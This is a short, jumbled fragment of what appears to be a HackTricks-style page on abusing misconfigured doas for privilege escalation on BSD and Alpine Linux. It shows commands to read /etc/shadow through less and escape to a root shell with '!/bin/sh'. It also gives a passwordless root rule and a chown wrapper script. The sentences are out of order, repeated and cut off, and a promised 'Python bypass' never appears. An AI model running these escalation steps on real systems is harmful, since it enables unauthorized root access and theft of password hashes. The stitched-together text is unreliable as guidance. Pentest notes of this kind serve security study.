Doas | Hacktricks
doas /usr/bin/less /etc/shadow # inside less: !/bin/sh Or Python bypass:
If you’ve spent any time on BSD or modern Linux systems (like Alpine), you’ve probably seen doas lurking in the shadows. It’s the leaner, meaner cousin of sudo — simpler config, fewer CVEs, and still dangerous if misconfigured. hacktricks doas
#!/bin/sh doas /usr/bin/chown user "$1" Exploit: doas /usr/bin/less /etc/shadow # inside less:
permit nopass user1 as root Check: